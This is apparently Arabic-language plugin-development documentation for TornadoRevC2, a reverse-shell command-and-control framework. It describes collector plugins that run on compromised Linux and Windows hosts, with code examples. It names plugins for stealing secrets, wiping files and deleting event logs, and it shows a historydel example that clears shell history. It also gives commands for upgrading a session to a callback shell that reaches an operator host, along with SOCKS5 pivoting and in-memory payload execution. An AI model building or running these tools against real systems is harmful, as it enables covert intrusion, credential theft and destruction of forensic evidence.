مثال التحقق من الوسائط (من memorymap):```python
import re
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)
unix_cmd = _build_linux_command(pid) # builder accepts runtime args
win_ps = _build_windows_command(pid)
raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
session.print("Plugin 'memorymap' failed — no response from target.", "red")
return 1
data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
**مثال على المعالجة بعد المجمّع** (من `historydel`):```python
def run(session: SessionContext, args):
# ... run collector via _run_collector_marked ...
data = parse_collector_json(raw)
# Additional in-memory cleanup in the interactive shell
if session.is_unix:
session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
elif session.is_windows:
session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
report = format_historydel_report(data)
session.print(report, "green" if data.get("cleared") else "yellow")
return 0
للوصول المباشر إلى التنفيذ المعلَّم دون غلاف المجمِّع الكامل، استخدم _run_collector_marked و parse_collector_json من plugins/shared/runner.py.
مجمِّعات Linux هي سلاسل نصية من مصدر Python تُنفَّذ على الهدف عبر build_linux_collector_command().
البنية:
_linux_collector_source() لإرجاع سلسلة نصية خام (r'''...''').result._emit(result) في النهاية — لا تطبع العلامات يدويًا أبدًا._build_linux_command() → build_linux_collector_command(source).يقوم الغلاف في linux/_helpers.py تلقائيًا بما يلي:
try/except_emit(obj) لكتابة __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__{"error": "...", "traceback": "..."} عند الاستثناءات غير المعالَجةpython3 -c (أو python2 كبديل احتياطي)/tmp فقط عندما تتجاوز الحمولة المرمَّزة ~4000 بايتفضِّل الأوامر الأصلية:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""
result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)
**الإرشادات:**
- استخدم `subprocess.check_output(..., timeout=N)` لكل أمر خارجي.
- قلّم القوائم الكبيرة قبل الإخراج (بحد أقصى 50–80 عنصرًا).
- تعامل مع الأدوات المفقودة بلطف—اترك الأقسام فارغة بدلًا من رفع استثناء.
- تجنّب تضمين سلاسل العلامات في الإخراج؛ يقوم الملحق `history` بتنظيف `__T_PLUGIN_*__` من النص المُجمَّع لهذا السبب.
- أبقِ أدوات التجميع مدمجة لتبقى ضمن حد الحجم المضمّن وتجنّب التخزين المؤقت في `/tmp`.
### أدوات التجميع الخاصة بـ Windows
أدوات التجميع الخاصة بـ Windows هي سلاسل نصوص PowerShell برمجية تُعاد من `_build_windows_command()`.
**البنية:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
summary = @{{ count = 0 }}
items = @()
}}
try {{
Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
$result.items += @{{ name = $_.Name; state = $_.State }}
}}
$result.summary.count = $result.items.Count
}} catch {{
$result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""
الإرشادات:
$ErrorActionPreference='SilentlyContinue' في الأعلى.-EA 0 (ErrorAction SilentlyContinue) على الـ cmdlets التي قد تفشل على الأنظمة الأقدم.{{ و }} لـ PowerShell hashtables و script blocks.[ordered]@{{...}} للحفاظ على ترتيب المفاتيح في مخرجات JSON.Get-NetTCPConnection، Get-Process، netsh، wevtutil) على الأدوات الخارجية.try/catch خاص به حتى لا يؤدي فشل واحد إلى إحباط المجمّع بأكمله.win_client.py لالتقاط المخرجات بشكل موثوق.بديل: بالنسبة لإضافات Windows-only ذات نقاط الدخول البسيطة، استخدم دالة build_command() واحدة:```python
@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
### اصطلاحات حِزمة JSON
يجب أن تُرجع أدوات التجميع قاموسًا قابلًا للتسلسل بصيغة JSON. يتوقع المشغّل والمُنسّقات استخدامًا متسقًا للمفاتيح:
| المفتاح | النوع | الغرض |
|-----|------|---------|
| `summary` | `dict` | إحصاءات وعدّادات عالية المستوى؛ تُعرض أولًا بواسطة `format_generic_report()` |
| `error` | `str` | **فشل صارم** — يطبع المشغّل الخطأ ويُرجع رمز الخروج 1 |
| `traceback` | `str` | اختياري؛ يُسجَّل كتفصيل عند تعيين `error` |
| `reason` | `str` | **فشل مرن** — يُستخدم مع المُنسّقات المخصصة (مثل عدم توفر الحافظة) |
| `ok` | `bool` | علامة نجاح للإضافات التشغيلية (لقطة الشاشة، الحافظة) |
| قوائم من `dict` | `list` | تُعرض كجداول بواسطة `format_generic_report()` |
| قوائم من `str` | `list` | تُعرض كقوائم نقطية |
| `dict` متداخل | `dict` | يُعرض كأقسام مُعنونة |
**التدهور المرن:** بالنسبة لتعداد متعدد الأقسام، استخدم مفاتيح dict منفصلة لكل قسم والتقط الاستثناءات محليًا. لا تعيّن `error` على المستوى الأعلى إلا إذا فشلت أداة التجميع بالكامل — فالنتائج الجزئية مفضلة.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty
مرّر منسّقًا مخصّصًا إلى run_collector_plugin بدلاً من format_generic_report:```python
from tornadorevc2.plugins.shared.common import format_section, format_list_section
def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)
مساعدات قابلة لإعادة الاستخدام في `plugins/shared/common.py`:
| الدالة | الغرض |
|----------|---------|
| `format_generic_report(data, title='Results')` | العارض الافتراضي للجداول/الأقسام |
| `format_section(title, fields, width=22)` | قسم مفتاح-قيمة |
| `format_list_section(title, items, empty='(none)')` | قائمة نقطية |
| `format_table_section(title, rows, columns)` | صفوف القاموس كأعمدة |
| `format_firewall_report`, `format_memorymap_report`, etc. | منسّقات خاصة بالإضافات |
### الإضافات الخاصة بالمنصات
**خاصة بـ Windows فقط:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "rdp",
None, # no Linux builder
build_command,
format_generic_report,
timeout=35.0,
)
لينكس فقط:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )
**متعدد المنصات مع بناة منفصلة:**
بعض الإضافات المشتركة تفوض إلى وحدات بانية خاصة بكل منصة (على سبيل المثال `virtualization` تستورد من `linux/virtualization.py` و `windows/virtualization.py`). تبقى نقطة الدخول `@plugin.command` في `shared/`؛ وحدات الباني تحت `linux/` أو `windows/` لا تحتوي على أي مزخرف ولا تُسجَّل كإضافات مستقلة.
### الإضافات الخارجية
تتيح لك الإضافات الخارجية توسيع TornadoRevC2 دون تعديل المستودع.
**الإعداد:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py
# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
سير العمل:```bash
plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin
**دورة الحياة الخارجية مقابل المدمجة:**
| الإجراء | إضافة مدمجة | إضافة خارجية |
|--------|-----------------|-----------------|
| `plugins unload` | معطّلة بشكل مؤقت (تبقى الوحدة مستوردة) | تُفرَّغ بالكامل وتُلغى تسجيلها |
| `plugins reload` | تعيد استيراد الوحدة، وتمسح تسجيلات الأوامر القديمة | تزيلها من `sys.modules`، وتعيد استيرادها من القرص |
| بدء التشغيل | تُحمَّل تلقائيًا | تُحمَّل عند الطلب |
تُستورد الوحدات الخارجية باسم `tornado_ext_plugin_<name>` لتجنب تعارضات مساحة الأسماء.
### واجهة SessionContext API
يتلقى كل معالج كائن `SessionContext` يغلّف المعالج ومقبس العميل:
**خصائص البيانات الوصفية:**
| الخاصية | النوع | الوصف |
|----------|------|-------------|
| `session_id` | `str` | معرّف الجلسة المعيَّن |
| `platform` | `str` | `unix` أو `windows` أو `unknown` |
| `is_windows` / `is_unix` | `bool` | رايات تسهيلية للمنصة |
| `sysinfo` | `dict` | معلومات المضيف المخزّنة مؤقتًا من مجموعة `sysinfo` |
| `identity` | `dict` | بيانات وصفية لهوية/بصمة الجلسة |
| `addr` | `tuple` | العنوان البعيد |
| `tls` | `bool` | ما إذا كانت الجلسة تستخدم TLS |
| `name` | `str` | الاسم الودّي المعيَّن من المشغّل |
| `fingerprint` | `str` | بصمة المضيف الثابتة |
| `logger` | `SessionLogger` | كاتب سجل لكل جلسة (قد يكون `None`) |
| `colors` | `dict` | رموز ألوان الطرفية |
| `socket` | socket | مقبس العميل الخام (للاستخدام المتقدم) |
**طرق التنفيذ:**
| الطريقة | الوصف |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | إرسال أمر، انتظار المخرجات، إرجاع سلسلة نصية |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | بثّ المخرجات مع كشف الخمول؛ مفيد للأوامر طويلة التشغيل |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | تنفيذ أمر مناسب للمنصة واستخراج الحمولة المعلَّمة |
| `get_cwd()` | إرجاع دليل العمل البعيد |
| `collect_sysinfo(mode='stealth')` | تشغيل جمع معلومات المضيف |
**طرق النقل:**
| الطريقة | الوصف |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | رفع ملف إلى الهدف |
| `download(remote_path, local_path, resume=False)` | تنزيل ملف من الهدف |
| `verify_remote(remote_path)` | التحقق من حجم الملف البعيد و SHA-256 |
**التسجيل والمخرجات:**
| الطريقة | الوصف |
|--------|-------------|
| `print(text, color=None)` | الطباعة إلى طرفية المشغّل مع لون اختياري (`red`، `green`، `yellow`، `cyan`) |
| `log_event(message)` | إضافة حدث بطابع زمني إلى `session.log` |
| `log_command(cmd, output)` | تسجيل الأمر والمخرجات في `session.log` |
| `log_plugin_result(name, report, detail='')` | كتابة التقرير إلى `logs/<session>/plugins/<name>_<timestamp>.log` |
### معالجة الأخطاء ورموز الإرجاع
| الإرجاع | المعنى | سلوك المعالج |
|--------|---------|------------------|
| `0` | نجاح | لا يُعرض أي تحذير |
| `1` (أو أي قيمة غير صفرية) | فشل | تحذير أصفر: `Plugin 'name' returned code N` |
| استثناء غير ملتقط | خطأ | رسالة خطأ حمراء؛ تُسجَّل في سجل الجلسة |
**أنماط فشل المجمِّع** (تتعامل معها `run_collector_plugin`):
| الحالة | السلوك |
|-----------|----------|
| انتهاء المهلة / لا علامات في المخرجات | الخروج بالرمز 1، تسجيل "no response" |
| المخرجات ليست JSON صالحة | الخروج بالرمز 1، تسجيل المخرجات الخام (مقتطعة) كتفصيل |
| وجود `data["error"]` | الخروج بالرمز 1، طباعة الخطأ وتتبّع الاستدعاء |
| فشل جزئي في الأقسام | يجب **ألا** يضبط `error` على المستوى الأعلى؛ اترك القسم فارغًا |
**الإخفاقات اللينة** (الإضافات التشغيلية): استخدم `reason` أو `ok: false` وتعامل معها في مُنسِّق مخصص أو معالج مخصص بدلًا من الاعتماد على فحص `error` الصارم في المشغّل.
### أفضل الممارسات
1. **فضّل أوامر نظام التشغيل الأصلية** على الأدوات المرفوعة—يتماشى ذلك مع تصميم الإطار الخفيف الاعتماديات.
2. **لا تكتب ملفات على الهدف** لأغراض الاستكشاف؛ أعد البيانات عبر قناة الصدفة. الإضافات التشغيلية (wiper، historydel) استثناءات لها غرض واضح.
3. **تدهور بلطف** — افحص كل خلفية بشكل مستقل؛ الأقسام الفارغة أفضل من الفشل الكامل.
4. **حدّد حجم المخرجات** — اقتطع القوائم إلى 50–80 عنصرًا؛ اقتطع السلاسل الطويلة إلى 200–500 حرف.
5. **اضبط مهلًا زمنية واقعية** — الفحوصات السريعة: 15–30 ثانية؛ الاستكشاف الشامل: 45–75 ثانية.
6. **سجّل باستمرار** — استدعِ `session.log_event()` عند البدء، و`session.log_plugin_result()` عند الإكمال، و`session.log_command()` لتصدير النص الكامل.
7. **تحقق من الوسائط مبكرًا** — أعد 1 مع رسالة الاستخدام قبل إرسال أي شيء إلى الهدف.
8. **اختبر من كلا الطرفيتين** — المعالج الرئيسي (`run plugin <ID>`) والجلسة المرتبطة (`switch` ثم `run plugin`).
9. **استخدم `plugins reload`** أثناء التطوير لالتقاط التغييرات دون إعادة تشغيل المعالج.
10. **نظّف العلامات الحساسة** من المخرجات المجمّعة إذا كانت إضافتك تقرأ محتوى ملفات عشوائيًا.
### تطبيقات مرجعية
| الإضافة | الملف | النمط | ملاحظات |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | مجمِّع متعدد المنصات | تدهور لطيف متعدد الخلفيات |
| `ports` | `plugins/shared/ports.py` | مجمِّع متعدد المنصات | `ss` / `Get-NetTCPConnection` الأصلي |
| `history` | `plugins/shared/history.py` | مجمِّع متعدد المنصات | بواني Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | معالج مخصص | وسيط PID، باني ديناميكي |
| `screenshot` | `plugins/shared/screenshot.py` | معالج مخصص | Base64 في JSON؛ حفظ PNG من جهة المشغّل |
| `clipboard` | `plugins/shared/clipboard.py` | معالج مخصص | إخفاق لين عبر حقل `reason` |
| `historydel` | `plugins/shared/historydel.py` | معالج مخصص | تدميري؛ تنظيف الصدفة بعد المجمِّع |
| `wiper` | `plugins/shared/wiper.py` | معالج مخصص | تدميري؛ التحقق من وسيط المسار |
| `services` | `plugins/windows/services.py` | مجمِّع خاص بـ Windows | نقطة دخول بسيطة |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | مجمِّع خاص بـ Windows | تدميري؛ تقرير فشل لكل سجل |
| `rdp` | `plugins/windows/rdp.py` | مجمِّع خاص بـ Windows | استكشاف السجل وجدار الحماية |
| `virtualization` | `plugins/shared/virtualization.py` | نقطة دخول مشتركة + بواني منفصلة | تستورد بواني `linux/` و `windows/` |
| `secrets` | `plugins/linux/secrets.py` | مجمِّع خاص بـ Linux | قائمة مقيّدة بالمنصة |
لإضافات الاستكشاف الجديدة، ابدأ من `run_collector_plugin` في `plugins/shared/runner.py` وانسخ التخطيط من `firewall.py` أو `ports.py`. للإضافات التي لها وسائط أو آثار جانبية، راجع `memorymap.py` أو `wiper.py`.
---
## تسجيل الجلسات
تكتب كل جلسة إلى دليل معزول تحت `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
session.log Operator commands and console output
sysinfo.json Host information snapshot
transfers/ Upload and download event logs
executions/ In-memory payload execution metadata
plugins/ Plugin reports and collector output
quickenum_20260812_054812.log
firewall_20260812_055130.log
screenshot_20260812_055412.png
تحتوي سجلات الإضافة على تقرير قابل للقراءة البشرية، وعند الاقتضاء، حمولة JSON الخام التي أرجعها المجمّع البعيد.
TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)
---
## تكوين TLS و mTLS
يشغّل TornadoRevC2 ثلاثة مستمعين معزولين، لكل منهم مصدر الشهادة الخاص به. يتم إنشاء كل ما تحت `tls_certs/` و `mtls_certs/` تلقائيًا عند التشغيل الأول ولا يُستبدل أبدًا.
| المستمع | المنفذ | مصادقة العميل | الشهادات |
|----------|------|-------------|--------------|
| TCP | `4444` | لا شيء | — |
| TLS | `8443` | الخادم فقط | `tls_certs/server.pem`، `tls_certs/server.key` |
| mTLS | `9443` | متبادلة (شهادة العميل مطلوبة) | حزمة `mtls_certs/` |
### TLS
يُنشأ تلقائيًا كزوج موقّع ذاتيًا (`CN=localhost`، RSA-2048، 3650 يومًا).
لتزويد شهادتك الخاصة:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
-c tls_certs/server.pem -k tls_certs/server.key
إذا اتصل العميل باستخدام عنوان IP، فيجب أن يتضمن شهادة الخادم ذلك الـ IP في Subject Alternative Name (SAN) الخاص بها. تجنّب تعطيل التحقق من اسم المضيف إلا إذا كان هناك سبب محدد للقيام بذلك.
عند التشغيل الأول، يتم تهيئة PKI كاملة تحت mtls_certs/:
ca.pem / ca.key — CA موقّعة ذاتيًا (RSA-4096، CN=TornadoRevC2-mTLS-CA)server-mtls.pem / server-mtls.key — شهادة الخادم موقّعة من الـ CAclient.pem / client.key — شهادة العميل موقّعة من الـ CAca.srl — عدّاد التسلسل الخاص بـ OpenSSL المُنشأ أثناء توقيع الشهادةشغّل client.pem + client.key + ca.pem مع العميل المصرّح له. يجب على العميل تقديم شهادته عند الاتصال وإلا يتم رفض المصافحة.
ابدأ بمسارات صريحة:```bash
python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### ترقية جلسة نشطة إلى mTLS
يمكن نقل الجلسات القائمة على TCP العادي أو TLS بمصادقة الخادم إلى مستمع mTLS دون إعادة تشغيل المعالج. تقوم إضافة `upgrade_mtls` برفع `client.pem` و`client.key` و`ca.pem` إلى الهدف، وتشغّل صدفة خلفية تقدّم شهادة العميل، و(بشكل افتراضي) تحذف الحزمة من القرص بمجرد أن تصبح الجلسة الجديدة قائمة.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle # leave certs on disk after launch
run upgrade_mtls 1 --no-upload # certificate bundle already uploaded manually
# From inside an attached session (switch 1)
run upgrade_mtls
| العلم | الافتراضي |
|---|---|
-H / --host | 0.0.0.0 |
-p / --port | 4444 |
-tp / --tls-port | 8443 |
-mp / --mtls-port | 9443 |
-c / --cert, -k / --key | tls_certs/server.{pem,key} |
--mtls-ca-cert / --mtls-ca-key | mtls_certs/ca.{pem,key} |
--mtls-server-cert / --mtls-server-key | mtls_certs/server-mtls.{pem,key} |
--mtls-client-cert / --mtls-client-key | mtls_certs/client.{pem,key} |
هذا المشروع مرخّص بموجب رخصة جنو العمومية العامة الإصدار 3.0.